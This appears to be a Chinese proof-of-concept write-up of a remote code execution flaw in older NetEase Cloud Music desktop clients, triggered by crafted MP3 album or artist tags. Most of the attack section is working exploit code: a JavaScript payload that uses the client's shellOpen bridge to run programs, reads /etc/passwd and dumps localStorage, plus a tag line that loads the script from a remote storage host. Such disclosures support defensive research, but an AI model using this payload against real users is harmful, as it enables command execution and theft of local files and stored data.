0x01 介绍

网易云音乐客户端对 mp3 处理不当导致攻击者可以构造恶意音乐文件再其用户打开后执行恶意程序,该漏洞 for macOS 版本(<=1.5.2 Build538)发生在专辑/歌手/歌名处,Windows 版本(<=2.1.2 Build180086)中发生在专辑处。

0x02 复现

远程加载的js代码如下

(function () {
    var hh = NEJ.P,
        bh = NEJ.O,
        bw = hh("nej.n"),
        A = hh("nej.e"),
        I = hh("nej.v"),
        bq = hh("nej.ut"),
        bd = hh("nej.cef"),
        bj = hh("nm.x"),
        cu = hh("nm.i"),
        oe = hh("nm.d"),
        bX = hh("nm.m"),
        bI = hh("nm.l"),
        bt = hh("nm.u"),
        bu = hh("nm.m.r"),
        S = setTimeout,
        Z = Math.random(),
        P = Math.round(Z * 10000);

    var mac = function () {
        s = function () {
            bw.cv("os.shellOpen", path)
        }
        S("s()", 2000);

        x = new XMLHttpRequest();
        x.open("GET", "file:///etc/passwd");
        x.onload = function () {
            S("prompt(x.responseText)", 3000);
        }; x.send(null);

        bw.cv("os.shellOpen",
              "/Applications/Calculator.app");

        // UserlocalStorage
        lsl = {}; for (i in localStorage) { lsl += localStorage[i] };
        prompt("UserlocalStorage", lsl);
    }

    var win = function () {
        s = function () {
            bd.cFB("os.shellOpen", path)
        }
        S("s()", 2000);
        bd.cFB("os.shellOpen", "C:\\Windows\\System32\\Calc.exe");
    }

    var rua = function () {
        var x, plat = window.navigator.platform;
        if (plat.indexOf("Mac") === 0) {
            mac();
        } else {
            win();
        }
    }; rua();
})();

构造 a 标签 onmouseover 事件导入远程服务器脚本。 Windows 可直接属性详细信息中双击唱片集编辑,插入远程脚本。macOS 可使用 iTunes 修改。

<a onmouseover=javascript:x=document.createElement("script");x.src='https://static-1257872780.cos.ap-shanghai.myqcloud.com/netease.js';document.head.appendChild(x);>Surprise</a>

然后用网易云音乐打开,当鼠标移动到唱片集出,就会弹出计算器。

0x03 参考

  1. 网易云音乐客户端远程命令执行